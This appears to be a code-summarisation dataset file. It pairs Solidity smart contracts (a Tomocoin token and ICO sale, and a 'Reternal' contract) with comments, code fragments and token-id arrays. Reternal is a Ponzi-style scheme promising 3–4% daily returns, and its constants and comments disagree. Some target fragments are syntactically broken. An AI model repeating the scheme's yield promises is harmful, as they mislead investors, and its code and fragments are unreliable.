-100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.19; // ================= Ownable Contract start ============================= /* * Ownable * * Base contract with an owner. * Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner. */ contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } // ================= Ownable Contract end =============================== // ================= Safemath Lib ============================ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b &gt; 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b &lt;= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c &gt;= a); return c; } } // ================= Safemath Lib end ============================== // ================= ERC20 Token Contract start ========================= /* * ERC20 interface * see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // ================= ERC20 Token Contract end =========================== // ================= Standard Token Contract start ====================== contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address =&gt; uint256) balances; mapping (address =&gt; mapping (address =&gt; uint256)) internal allowed; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value &lt;= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value &lt;= balances[_from]); require(_value &lt;= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } } // ================= Standard Token Contract end ======================== // ================= Pausable Token Contract start ====================== /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require (!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require (paused) ; _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } // ================= Pausable Token Contract end ======================== // ================= Tomocoin start ======================= contract TomoCoin is StandardToken, Pausable { string public constant name = &#39;Tomocoin&#39;; string public constant symbol = &#39;TOMO&#39;; uint256 public constant decimals = 18; address public tokenSaleAddress; address public tomoDepositAddress; // multisig wallet uint256 public constant tomoDeposit = 100000000 * 10**decimals; function TomoCoin(address _tomoDepositAddress) public { tomoDepositAddress = _tomoDepositAddress; balances[tomoDepositAddress] = tomoDeposit; Transfer(0x0, tomoDepositAddress, tomoDeposit); totalSupply_ = tomoDeposit; } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) { return super.transfer(_to,_value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) { return super.approve(_spender, _value); } function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } // Setup Token Sale Smart Contract function setTokenSaleAddress(address _tokenSaleAddress) public onlyOwner { if (_tokenSaleAddress != address(0)) { tokenSaleAddress = _tokenSaleAddress; } } function mint(address _recipient, uint256 _value) public whenNotPaused returns (bool success) { require(_value &gt; 0); // This function is only called by Token Sale Smart Contract require(msg.sender == tokenSaleAddress); balances[tomoDepositAddress] = balances[tomoDepositAddress].sub(_value); balances[ _recipient ] = balances[_recipient].add(_value); Transfer(tomoDepositAddress, _recipient, _value); return true; } } // ================= Ico Token Contract end ======================= // ================= Whitelist start ==================== contract TomoContributorWhitelist is Ownable { mapping(address =&gt; uint256) public whitelist; function TomoContributorWhitelist() public {} event ListAddress( address _user, uint256 cap, uint256 _time ); function listAddress( address _user, uint256 cap ) public onlyOwner { whitelist[_user] = cap; ListAddress( _user, cap, now ); } function listAddresses( address[] _users, uint256[] _caps ) public onlyOwner { for( uint i = 0 ; i &lt; _users.length ; i++ ) { listAddress( _users[i], _caps[i] ); } } function getCap( address _user ) public view returns(uint) { return whitelist[_user]; } } // ================= Whitelist end ==================== // ================= Actual Sale Contract Start ==================== contract TomoTokenSale is Pausable { using SafeMath for uint256; TomoCoin tomo; TomoContributorWhitelist whitelist; mapping(address =&gt; uint256) public participated; address public ethFundDepositAddress; address public tomoDepositAddress; uint256 public constant tokenCreationCap = 4000000 * 10**18; uint256 public totalTokenSold = 0; uint256 public constant fundingStartTime = 1519876800; // 2018/03/01 04:00:00 uint256 public constant fundingPoCEndTime = 1519963200; // 2018/03/02 04:00:00 uint256 public constant fundingEndTime = 1520136000; // 2018/03/04 04:00:00 uint256 public constant minContribution = 0.1 ether; uint256 public constant maxContribution = 10 ether; uint256 public constant tokenExchangeRate = 3200; uint256 public constant maxCap = tokenExchangeRate * maxContribution; bool public isFinalized; event MintTomo(address from, address to, uint256 val); event RefundTomo(address to, uint256 val); function TomoTokenSale( TomoCoin _tomoCoinAddress, TomoContributorWhitelist _tomoContributorWhitelistAddress, address _ethFundDepositAddress, address _tomoDepositAddress ) public { tomo = TomoCoin(_tomoCoinAddress); whitelist = TomoContributorWhitelist(_tomoContributorWhitelistAddress); ethFundDepositAddress = _ethFundDepositAddress; tomoDepositAddress = _tomoDepositAddress; isFinalized = false; } function buy(address to, uint256 val) internal returns (bool success) { MintTomo(tomoDepositAddress, to, val); return tomo.mint(to, val); } function () public payable { createTokens(msg.sender, msg.value); } function createTokens(address _beneficiary, uint256 _value) internal whenNotPaused { require (now &gt;= fundingStartTime); require (now &lt;= fundingEndTime); require (_value &gt;= minContribution); require (_value &lt;= maxContribution); require (!isFinalized); uint256 tokens = _value.mul(tokenExchangeRate); uint256 cap = whitelist.getCap(_beneficiary); require (cap &gt; 0); uint256 tokensToAllocate = 0; uint256 tokensToRefund = 0; uint256 etherToRefund = 0; // running while PoC Buying Time if (now &lt;= fundingPoCEndTime) { tokensToAllocate = cap.sub(participated[_beneficiary]); } else { tokensToAllocate = maxCap.sub(participated[_beneficiary]); } // calculate refund if over max cap or individual cap if (tokens &gt; tokensToAllocate) { tokensToRefund = tokens.sub(tokensToAllocate); etherToRefund = tokensToRefund.div(tokenExchangeRate); } else { // user can buy amount they want tokensToAllocate = tokens; } uint256 checkedTokenSold = totalTokenSold.add(tokensToAllocate); // if reaches hard cap if (tokenCreationCap &lt; checkedTokenSold) { tokensToAllocate = tokenCreationCap.sub(totalTokenSold); tokensToRefund = tokens.sub(tokensToAllocate); etherToRefund = tokensToRefund.div(tokenExchangeRate); totalTokenSold = tokenCreationCap; } else { totalTokenSold = checkedTokenSold; } // save to participated data participated[_beneficiary] = participated[_beneficiary].add(tokensToAllocate); // allocate tokens require(buy(_beneficiary, tokensToAllocate)); if (etherToRefund &gt; 0) { // refund in case user buy over hard cap, individual cap RefundTomo(msg.sender, etherToRefund); msg.sender.transfer(etherToRefund); } ethFundDepositAddress.transfer(this.balance); return; } /// @dev Ends the funding period and sends the ETH home function finalize() external onlyOwner { require (!isFinalized); // move to operational isFinalized = true; ethFundDepositAddress.transfer(this.balance); } }
================= Standard Token Contract start ======================
contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address =&gt; uint256) balances; mapping (address =&gt; mapping (address =&gt; uint256)) internal allowed; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value &lt;= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value &lt;= balances[_from]); require(_value &lt;= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } }
924,211
[ 1, 2429, 33, 8263, 3155, 13456, 787, 28562, 894, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 8263, 1345, 353, 4232, 39, 3462, 288, 203, 225, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 225, 2874, 12, 2867, 273, 10, 4521, 31, 2254, 5034, 13, 324, 26488, 31, 203, 225, 2874, 261, 2867, 273, 10, 4521, 31, 2874, 261, 2867, 273, 10, 4521, 31, 2254, 5034, 3719, 2713, 2935, 31, 203, 203, 225, 2254, 5034, 2078, 3088, 1283, 67, 31, 203, 203, 203, 225, 445, 2078, 3088, 1283, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 565, 327, 2078, 3088, 1283, 67, 31, 203, 225, 289, 203, 203, 225, 445, 7412, 12, 2867, 389, 869, 16, 2254, 5034, 389, 1132, 13, 1071, 1135, 261, 6430, 13, 288, 203, 565, 2583, 24899, 869, 480, 1758, 12, 20, 10019, 203, 565, 2583, 24899, 1132, 473, 5618, 31, 33, 324, 26488, 63, 3576, 18, 15330, 19226, 203, 203, 565, 324, 26488, 63, 3576, 18, 15330, 65, 273, 324, 26488, 63, 3576, 18, 15330, 8009, 1717, 24899, 1132, 1769, 203, 565, 324, 26488, 63, 67, 869, 65, 273, 324, 26488, 63, 67, 869, 8009, 1289, 24899, 1132, 1769, 203, 565, 12279, 12, 3576, 18, 15330, 16, 389, 869, 16, 389, 1132, 1769, 203, 565, 327, 638, 31, 203, 225, 289, 203, 203, 225, 445, 11013, 951, 12, 2867, 389, 8443, 13, 1071, 1476, 1135, 261, 11890, 5034, 11013, 13, 288, 203, 565, 327, 324, 26488, 63, 67, 8443, 15533, 203, 225, 289, 203, 203, 203, 225, 445, 7412, 1265, 12, 2867, 389, 2080, 16, 1758, 389, 869, 16, 2254, 5034, 389, 2 ]
pragma solidity ^0.4.24; /** * ██████╗ ███████╗████████╗███████╗ ██████╗ ███╗ ██╗ █████╗ ██╗ * ██╔══██╗ ██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗ ████╗ ██║ ██╔══██╗ ██║ * ██████╔╝ █████╗ ██║ █████╗ ██████╔╝ ██╔██╗ ██║ ███████║ ██║ * ██╔══██╗ ██╔══╝ ██║ ██╔══╝ ██╔══██╗ ██║╚██╗██║ ██╔══██║ ██║ * ██║ ██║ ███████╗ ██║ ███████╗ ██║ ██║ ██║ ╚████║ ██║ ██║ ███████╗ * ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝ * * Contacts: * * -- t.me/Reternal * -- https://www.reternal.net * * - GAIN PER 24 HOURS: * * -- Individual balance < 1 Ether: 3.15% * -- Individual balance >= 1 Ether: 3.25% * -- Individual balance >= 4 Ether: 3.45% * -- Individual balance >= 12 Ether: 3.65% * -- Individual balance >= 50 Ether: 3.85% * -- Individual balance >= 200 Ether: 4.15% * * -- Contract balance < 500 Ether: 0% * -- Contract balance >= 500 Ether: 0.10% * -- Contract balance >= 1500 Ether: 0.20% * -- Contract balance >= 2500 Ether: 0.30% * -- Contract balance >= 7000 Ether: 0.45% * -- Contract balance >= 15000 Ether: 0.65% * * - Minimal contribution 0.01 eth * - Contribution allocation schemes: * -- 95% payments * -- 5% Marketing + Operating Expenses * * - How to use: * 1. Send from your personal ETH wallet to the smart-contract address any amount more than or equal to 0.01 ETH * 2. Add your refferer&#39;s wallet to a HEX data in your transaction to * get a bonus amount back to your wallet only for the FIRST deposit * IMPORTANT: if you want to support Reternal project, you can leave your HEX data field empty, * if you have no referrer and do not want to support Reternal, you can type &#39;noreferrer&#39; * if there is no referrer, you will not get any bonuses * 3. Use etherscan.io to verify your transaction * 4. Claim your dividents by sending 0 ether transaction (available anytime) * 5. You can reinvest anytime you want * * RECOMMENDED GAS LIMIT: 200000 * RECOMMENDED GAS PRICE: https://ethgasstation.info/ * * The smart-contract has a "restart" function, more info at www.reternal.net * * If you want to check your dividents, you can use etherscan.io site, following the "Internal Txns" tab of your wallet * WARNING: do not use exchanges&#39; wallets - you will loose your funds. Only use your personal wallet for transactions * */ contract Reternal { // Investor&#39;s data storage mapping (address => Investor) public investors; address[] public addresses; struct Investor { uint id; uint deposit; uint depositCount; uint block; address referrer; } uint constant public MINIMUM_INVEST = 10000000000000000 wei; address defaultReferrer = 0x25EDFd665C2898c2898E499Abd8428BaC616a0ED; uint public round; uint public totalDepositAmount; bool public pause; uint public restartBlock; bool ref_flag; // Investors&#39; dividents increase goals due to a bank growth uint bank1 = 5e20; // 500 eth uint bank2 = 15e20; // 1500 eth uint bank3 = 25e20; // 2500 eth uint bank4 = 7e21; // 7000 eth uint bank5 = 15e20; // 15000 eth // Investors&#39; dividents increase due to individual deposit amount uint dep1 = 1e18; // 1 ETH uint dep2 = 4e18; // 4 ETH uint dep3 = 12e18; // 12 ETH uint dep4 = 5e19; // 50 ETH uint dep5 = 2e20; // 200 ETH event NewInvestor(address indexed investor, uint deposit, address referrer); event PayOffDividends(address indexed investor, uint value); event refPayout(address indexed investor, uint value, address referrer); event NewDeposit(address indexed investor, uint value); event NextRoundStarted(uint round, uint block, address addr, uint value); constructor() public { addresses.length = 1; round = 1; pause = false; } function restart() private { address addr; for (uint i = addresses.length - 1; i > 0; i--) { addr = addresses[i]; addresses.length -= 1; delete investors[addr]; } emit NextRoundStarted(round, block.number, msg.sender, msg.value); pause = false; round += 1; totalDepositAmount = 0; createDeposit(); } function getRaisedPercents(address addr) internal view returns(uint){ // Individual deposit percentage sums up with &#39;Reternal total fund&#39; percentage uint percent = getIndividualPercent() + getBankPercent(); uint256 amount = investors[addr].deposit * percent / 100*(block.number-investors[addr].block)/6000; return(amount / 100); } function payDividends() private{ require(investors[msg.sender].id > 0, "Investor not found."); // Investor&#39;s total raised amount uint amount = getRaisedPercents(msg.sender); if (address(this).balance < amount) { pause = true; restartBlock = block.number + 6000; return; } // Service fee deduction uint FeeToWithdraw = amount * 5 / 100; uint payment = amount - FeeToWithdraw; address(0xD9bE11E7412584368546b1CaE64b6C384AE85ebB).transfer(FeeToWithdraw); msg.sender.transfer(payment); emit PayOffDividends(msg.sender, amount); } function createDeposit() private{ Investor storage user = investors[msg.sender]; if (user.id == 0) { // Check for malicious smart-contract msg.sender.transfer(0 wei); user.id = addresses.push(msg.sender); if (msg.data.length != 0) { address referrer = bytesToAddress(msg.data); // Check for referrer&#39;s registration. Check for self referring if (investors[referrer].id > 0 && referrer != msg.sender) { user.referrer = referrer; // Cashback only for the first deposit if (user.depositCount == 0) { // cashback only for the first deposit uint cashback = msg.value / 100; if (msg.sender.send(cashback)) { emit refPayout(msg.sender, cashback, referrer); } } } } else { // If data is empty: user.referrer = defaultReferrer; } emit NewInvestor(msg.sender, msg.value, referrer); } else { // Dividents payment for an investor payDividends(); } // 2% from a referral deposit transfer to a referrer uint payReferrer = msg.value * 2 / 100; // 2% from referral deposit to referrer // if (user.referrer == defaultReferrer) { user.referrer.transfer(payReferrer); } else { investors[referrer].deposit += payReferrer; } user.depositCount++; user.deposit += msg.value; user.block = block.number; totalDepositAmount += msg.value; emit NewDeposit(msg.sender, msg.value); } function() external payable { if(pause) { if (restartBlock <= block.number) { restart(); } require(!pause, "Eternal is restarting, wait for the block in restartBlock"); } else { if (msg.value == 0) { payDividends(); return; } require(msg.value >= MINIMUM_INVEST, "Too small amount, minimum 0.01 ether"); createDeposit(); } } function getBankPercent() public view returns(uint){ uint contractBalance = address(this).balance; uint totalBank1 = bank1; uint totalBank2 = bank2; uint totalBank3 = bank3; uint totalBank4 = bank4; uint totalBank5 = bank5; if(contractBalance < totalBank1){ return(0); // If bank lower than 500, whole procent doesnt add } if(contractBalance >= totalBank1 && contractBalance < totalBank2){ return(10); // If bank amount more than or equal to 500 ETH, whole procent add 0.10% } if(contractBalance >= totalBank2 && contractBalance < totalBank3){ return(20); // If bank amount more than or equal to 1500 ETH, whole procent add 0.10% } if(contractBalance >= totalBank3 && contractBalance < totalBank4){ return(30); // If bank amount more than or equal to 2500 ETH, whole procent add 0.10% } if(contractBalance >= totalBank4 && contractBalance < totalBank5){ return(45); // If bank amount more than or equal to 7000 ETH, whole procent add 0.15% } if(contractBalance >= totalBank5){ return(65); // If bank amount more than or equal to 15000 ETH, whole procent add 0.20% } } function getIndividualPercent() public view returns(uint){ uint userBalance = investors[msg.sender].deposit; uint totalDeposit1 = dep1; uint totalDeposit2 = dep2; uint totalDeposit3 = dep3; uint totalDeposit4 = dep4; uint totalDeposit5 = dep5; if(userBalance < totalDeposit1){ return(315); // 3.15% by default, investor deposit lower than 1 ETH } if(userBalance >= totalDeposit1 && userBalance < totalDeposit2){ return(325); // 3.25% Your Deposit more than or equal to 1 ETH } if(userBalance >= totalDeposit2 && userBalance < totalDeposit3){ return(345); // 3.45% Your Deposit more than or equal to 4 ETH } if(userBalance >= totalDeposit3 && userBalance < totalDeposit4){ return(360); // 3.60% Your Deposit more than or equal to 12 ETH } if(userBalance >= totalDeposit4 && userBalance < totalDeposit5){ return(385); // 3.85% Your Deposit more than or equal to 50 ETH } if(userBalance >= totalDeposit5){ return(415); // 4.15% Your Deposit more than or equal to 200 ETH } } function getInvestorCount() public view returns (uint) { return addresses.length - 1; } function bytesToAddress(bytes bys) private pure returns (address addr) { assembly { addr := mload(add(bys, 20)) } } }
If bank amount more than or equal to 1500 ETH, whole procent add 0.10%
return(20);
7,872,700
[ 1, 2047, 11218, 3844, 1898, 2353, 578, 3959, 358, 4711, 713, 512, 2455, 16, 7339, 450, 2998, 527, 374, 18, 2163, 9, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 327, 12, 3462, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x6f11a89d41b0cC86E05714A701462E788C989b6A/sources/contracts/credit/CreditManager.sol
@dev Checks that credit account has enough allowance for operation by comparing existing one with x10 times more than needed @param creditAccount Credit account address @param toContract Contract to check allowance @param token Token address of contract Get 10x reserve in allowance
) internal { if ( function approve(address targetContract, address token) external override nonReentrant } function provideCreditAccountAllowance( address creditAccount, address targetContract, address token ) external override nonReentrant } function _provideCreditAccountAllowance( address creditAccount, address toContract, address token ) { } }
9,629,588
[ 1, 4081, 716, 12896, 2236, 711, 7304, 1699, 1359, 364, 1674, 635, 17553, 2062, 1245, 598, 619, 2163, 4124, 1898, 2353, 3577, 225, 12896, 3032, 30354, 2236, 1758, 225, 358, 8924, 13456, 358, 866, 1699, 1359, 225, 1147, 3155, 1758, 434, 6835, 968, 1728, 92, 20501, 316, 1699, 1359, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 262, 2713, 288, 203, 3639, 309, 261, 203, 565, 445, 6617, 537, 12, 2867, 1018, 8924, 16, 1758, 1147, 13, 203, 3639, 3903, 203, 3639, 3849, 203, 3639, 1661, 426, 8230, 970, 203, 565, 289, 203, 203, 565, 445, 5615, 16520, 3032, 7009, 1359, 12, 203, 3639, 1758, 12896, 3032, 16, 203, 3639, 1758, 1018, 8924, 16, 203, 3639, 1758, 1147, 203, 565, 262, 203, 3639, 3903, 203, 3639, 3849, 203, 3639, 1661, 426, 8230, 970, 203, 565, 289, 203, 203, 565, 445, 389, 685, 6768, 16520, 3032, 7009, 1359, 12, 203, 3639, 1758, 12896, 3032, 16, 203, 3639, 1758, 358, 8924, 16, 203, 3639, 1758, 1147, 203, 3639, 262, 288, 203, 3639, 289, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
